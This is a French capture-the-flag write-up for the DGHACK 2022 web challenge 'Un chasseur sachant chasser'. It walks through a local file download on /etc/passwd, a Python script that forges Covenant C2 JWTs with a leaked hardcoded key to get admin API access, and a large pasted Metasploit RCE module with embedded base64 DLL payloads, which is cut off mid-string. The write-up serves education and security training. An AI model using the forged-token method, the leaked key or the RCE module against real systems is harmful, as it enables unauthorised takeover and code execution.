Hacker des hackeurs (Un chasseur sachant chasser)

    Bonjour et bienvenue sur ce premier write-up des challenges de la DGHACK édition 2022 organisé par la Direction Générale de l’Armement du Ministère des Armées.

    Pour ce premier write-up, je vous explique comment j’ai pu résoudre la série de challenge web « un chasseur sachant chasser ».

    C’est parti !

    Description Partie 1

    Des analystes SOC du Ministère des Armées ont remarqué des flux suspects provenant de machines internes vers un site vitrine d’une entreprise. Pourtant ce site semble tout à fait légitime.

    Vous avez été mandaté par la Direction Générale de l’Armement pour mener l’enquête. Trouvez un moyen de reprendre partiellement le contrôle du site web afin de trouver comment ce serveur joue un rôle dans l’infrastructure de l’acteur malveillant.

    Aucun fuzzing n’est nécessaire.

    Le flag se trouve sur le serveur à l’endroit permettant d’en savoir plus sur l’infrastructure de l’attaquant.

    Partie 1: Local File Download

    Après une visite rapide du site, on trouve vite une LFD, pour Local File Download, qui n’est en réalité qu’une LFI (Local File Inclusion) dans laquelle on récupère le résultat sous la forme d’un téléchargement direct.

    Un clique sur le bouton redirige vers http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=menu_updated_09_11_2022.jpg . On modifie le parametre get menu par le path du fichier qui nous interesse.

    Poc: http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=/etc/passwd

    Rien de très compliqué ensuite, on inclus quelques fichiers pouvant être intéressant (/etc/passwd, /etc/hosts)

    puis on se jette directement sur les fichiers de configurations du serveur web à la recherche d’un vhost ou de quelque chose du genre. On tente les fichiers de configuration d’apache2, sans résultat, puis ceux de nginx. Bingo ! On obtient alors le premier flag dans le nginx.conf, ainsi que de précieuse information qui nous serviront pour la suite.

    Pas de vhost ici, mais un endpoint bien étrange qui redirige les requêtes vers un containers docker qui semble, d’après les commentaires, être un C2 Covenant.

    Description Partie 2

    A présent que vous avez une idée de l’infrastructure de l’attaquant, il vous est demandé de l’exploiter.

    Prenez totalement le contrôle du CnC.

    Aucun bruteforce n’est nécessaire.

    Le flag se trouve dans le fichier /flag.txt.

    Partie 2: Exploitation du covenant

    1. Découverte du covenant

    Bon on rentre dans le dure. Après quelques recherches, on a bien la confirmation qu’il s’agit d’un covenant:

    Mais l’interface web est totalement bugé (les ressources chargées par le covenant sont cherchées à la racine du site et pas sur l’endpoint). Par chance on apprend que Covenant dispose d’une api avec laquelle on va pouvoir interagir (ici). La documentation étant faible en contenue, je décide d’installer moi même mon convenant en local afin de comprendre un peu comment tout marche (ce que je vous invite à faire).

    2. La première faille: crafter son propre token administrateur

    On comprends un peu toutes les fonctionnalités proposés par l’outil, mais rien qui nous permet de lire le fichier flag.txt se situant à la racine. En approfondissant mes recherches, je tombe sur cet article: hunting the hunters, qui nous fait penser au nom du challenge « un chasseur sachant chasser ». On y apprend qu’il y a eu un commit sur le repo github de covenant dans lequel un développeur a entré une clé en dure là où il ne fallait pas.

    Pour être plus précis, une clé aléatoire est généré lors de l’installation de covenant et est stocké dans Covenant/Data/appsettings.json. Elle permet de chiffrer les jeton jwt (qui servent à garentir l’authentification lors de l’appel à l’api). Cette nouvelle clé est uniquement générée dans le cas où sa valeur actuelle dans le fichier json est la valeur par défaut, c’est à dire:

    "JwtKey": "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]",
    

    Seulement lors de ce fameux commit, le développeur a oublié de remettre la valeur par défaut de la clé dans le fichier json, ce qui signifie que toutes les services covenant issue de ce commit auront la clé du developpeur.

    Cet oublie permet donc de connaitre la valeur de la jwtkey et donc nous offre la possibilité de générer nos propres tokens. On peut d’ailleurs tester ce token et récupéré la liste des utilisateurs en contactant l’api.

    import jwt
    import requests
    data = {"JwtKey": "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"}
    
    content = {
        "sub": "hackline",
        "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
        "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "df34c0a2fd5b408ab4fe0c1ac98d5677",
        "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
            "User"
        ],
        "exp": 1968264576,
        "iss": "Covenant",
        "aud": "Covenant"
    }
    token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')
    print(token)
    
    print requests.get("http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/api/users",
    		headers={"Content-Type":"application/json",
    		"Authorization":"Bearer " + token}).text
    

    Petite explication: on génère ici un token avec un nom d’utilisateur et un jti arbitraire (il n’est pas nécessaire d’avoir un utilisateur/jti valide pour accéder à l’endpoint users).

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoYWNrbGluZSIsImlzcyI6IkNvdmVuYW50IiwianRpIjoiOTI1Zjc0Y2EtZmM4Yy0yN2M2LTI0YmUtNTY2YjExYWI2NTg1IiwiZXhwIjoxOTY4MjY0NTc2LCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6ImRmMzRjMGEyZmQ1YjQwOGFiNGZlMGMxYWM5OGQ1Njc3IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlVzZXIiXSwiYXVkIjoiQ292ZW5hbnQifQ.3w7Wgt4NrVn1F5jJZNGh7lbi12eCHBInHr4MSwof40Y
    [{"id":"bd0f04cd-8363-4913-acbf-58dcaf173ecf","userName":"ServiceUser","normalizedUserName":"SERVICEUSER","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"S5PFNI5PDUGUKSNQYYORIAVTHXROHUBG","concurrencyStamp":"4a31b76b-3f79-49f0-aea9-615d9cba5899","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0},{"id":"5cff0c3a-cef3-4f94-90c4-ff27816ea063","userName":"DGHACK_ADMIN","normalizedUserName":"DGHACK_ADMIN","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"QCE2U7JRKO36CDQEHDVOI7N4H2LKZK3W","concurrencyStamp":"e6dcb5cd-0cf0-4a0e-a549-d4e12a6d2aac","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0}]
    
    

    On obtient là liste des utilisateurs du covenant, ainsi que quelques informations à leur propos. Parmis ces utilisateurs, on remarque le DGHACK_ADMIN, que l’on suspecte d’appartenir au groupe administrateur du covenant, ce qui est super car il nous permettrait d’acceder à toutes les fonctionnalitées de l’api. On craft donc son token:

    content = {
        "sub": "DGHACK_ADMIN",
        "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
        "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "75110aef-589c-4e5c-91e3-865ea8dfb2d6",
        "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
            "User",
            "Administrator"
        ],
        "exp": 1968264576,
        "iss": "Covenant",
        "aud": "Covenant"
    }
    token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')
    

    Et ça y’est, on a accès à toutes les fonctionnalités de l’API !

    3. RCE: ça se corce

    Tout ça est bien sympa, mais le challenge ne s’arrête pas là, il nous faut RCE pour lire le fameux fichier flag.txt à la racine du docker. L’article hunter-hunting-hunter aborde la partie RCE, mais malheureusement il ne propose pas de script d’exploitation de la vulnérabilité et laisse seulement au lecteur une vague idée sur le cheminement de l’attaque. Fainéant comme je suis, je cherche donc un script tout prêt et fonctionnel pour exploiter la vulnérabilité, mais je ne trouve que ça: un script metasploit en Ruby qu’il va falloir faire fonctionner.

    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      
      def initialize(info = {})
        super(update_info(info,
          'Name' => 'Covenant C2 JWT Remote Code Execution Exploit',
          'Description' => %q{
            Due to an accidental commit of an ephemeral development application settings file, the secret
            value of all JWTs issued by Covenant was locked to a single value across all deployments.
            This vulnerability affect all Covenant from March 3rd, 2019 to July 13th, 2020.
          },
          'Author' => [
            'mekhalleh (RAMELLA Sébastien)' # module author (Zeop Entreprise)
          ],
          'References' => [
            ['URL', 'https://blog.null.farm/hunting-the-hunters'],
          ],
          'DisclosureDate' => '2020-10-27',
          'License' => MSF_LICENSE,
          'Platform' => ['windows'],
          'Arch' => [ARCH_X86, ARCH_X64],
          'Privileged' => true,
          'DefaultOptions' => {
            'RPORT' => 7443,
            'SSL' => true
          },
          'Targets' => [
            ['Automatic (DLL)',
              'Platform' => 'windows',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dll,
              #'DefaultOptions' => {
              #  'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              #}
            ],
          ],
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
          }
        ))
    
        register_options([
          OptInt.new('C2_RPORT', [true, 'The TCP port for the listener.', 8080])
        ])
    
        register_advanced_options([
          OptBool.new('ForceExploit', [false, 'Override check result', false])
        ])
      end
    
      def aes256_cbc_encrypt(key, data)
        key = Digest::SHA256.digest(key) if (key.kind_of?(String) && 32 != key.bytesize)
        iv = SecureRandom.random_bytes(16)
        iv = Digest::MD5.digest(iv) if (iv.kind_of?(String) && 16 != iv.bytesize)
    
        aes = OpenSSL::Cipher.new('AES-256-CBC')
        aes.encrypt
        aes.key = key
        aes.iv = iv
        ciphered = aes.update(data) + aes.final
    
        hmac = OpenSSL::Digest.new('sha256')
        signed = OpenSSL::HMAC.digest(hmac, key, ciphered)
    
        return([ciphered, iv, signed])
      end
    
      def check_tcp_port(ip, port)
        begin
          sock = Rex::Socket::Tcp.create(
            'PeerHost' => ip,
            'PeerPort' => port,
            'Proxies' => datastore['Proxies']
          )
        rescue ::Rex::ConnectionRefused, Rex::ConnectionError
          return false
        end
    
        sock.close
        return true
      end
    
      def create_listener(profile_id)
        data = {
          'useSSL': false,
          'urls': [
            "http://#{datastore['RHOSTS']}:#{datastore['C2_RPORT']}/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72"
          ],
          'id': 0,
          'name': @listener_name,
          'bindAddress': "#{datastore['RHOSTS']}",
          'bindPort': datastore['C2_RPORT'],
          'connectAddresses': [
            "#{datastore['RHOSTS']}"
          ],
          'connectPort': datastore['C2_RPORT'],
          'profileId': profile_id.to_i,
          'listenerTypeId': read_listener_type('HTTP'),
          'status': 'Active'
        }
        response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)
    
        return true if response && response.code == 200
    
        false
      end
    
      def generate_jwt(username = nil, userid = nil)
        secret = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'
        username = Rex::Text.rand_text_alpha(6..8) if username.nil?
        userid = random_id if username.nil?
    
        jwt_hdr = {'typ':'JWT', 'alg':'HS256'}
        jwt_pld = {
          'sub': "#{username}",
          'jti': "#{random_id}",
          'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier': "#{userid}",
          'http://schemas.microsoft.com/ws/2008/06/identity/claims/role': ["User", "Administrator"],
          'exp': 1615445546,
          'iss': 'Covenant',
          'aud': 'Covenant'
        }
    
        token_hdr = Base64.urlsafe_encode64(jwt_hdr.to_json.encode('utf-8')).gsub('=', '')
        token_pld = Base64.urlsafe_encode64(jwt_pld.to_json.encode('utf-8')).gsub('=', '')
    
        digest_sha256 = OpenSSL::Digest.new('sha256')
        signature = Base64.urlsafe_encode64(OpenSSL::HMAC.digest(digest_sha256, secret, "#{token_hdr}.#{token_pld}"))
    
        return "#{token_hdr}.#{token_pld}.#{signature.gsub('=', '')}"
      end
    
      def generate_stage0(aes_key, guid)
        headers = {}
        headers['Cookies'] = "ASPSESSIONID=#{guid}; SESSIONID=1552332971750"
    
        message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
    
        ciphered, iv, signed = aes256_cbc_encrypt(Base64.decode64(aes_key), message)
        data = {
          'GUID': "#{guid}",
          'Type': 0,
          'Meta': '',
          'IV': Base64.encode64(iv).strip,
          'EncryptedMessage': Base64.encode64(ciphered).gsub("\n", ''),
          'HMAC': Base64.encode64(signed).strip
        }
    
        begin
          cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['C2_RPORT'], {}, false, nil, datastore['Proxies'])
          cli.connect
    
          request = cli.request_cgi({
            'method' => 'POST',
            'uri' => '/en-us/test.html',
            'headers' => headers,
            'agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
            'vars_post' => {
              'i' => 'a19ea23062db990386a3a478cb89d52e',
              'data' => Base64.urlsafe_encode64(data.to_json),
              'session' => '75db-99b1-25fe4e9afbe58696-320bea73'
    
            }
          })
          response = cli.send_recv(request)
          cli.close
        rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
          print_error('HTTP connection failed.')
          return false
        end
      end
    
      def generate_transform_payload # TODO
        # POC: execute calc
        # dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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'
        dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnR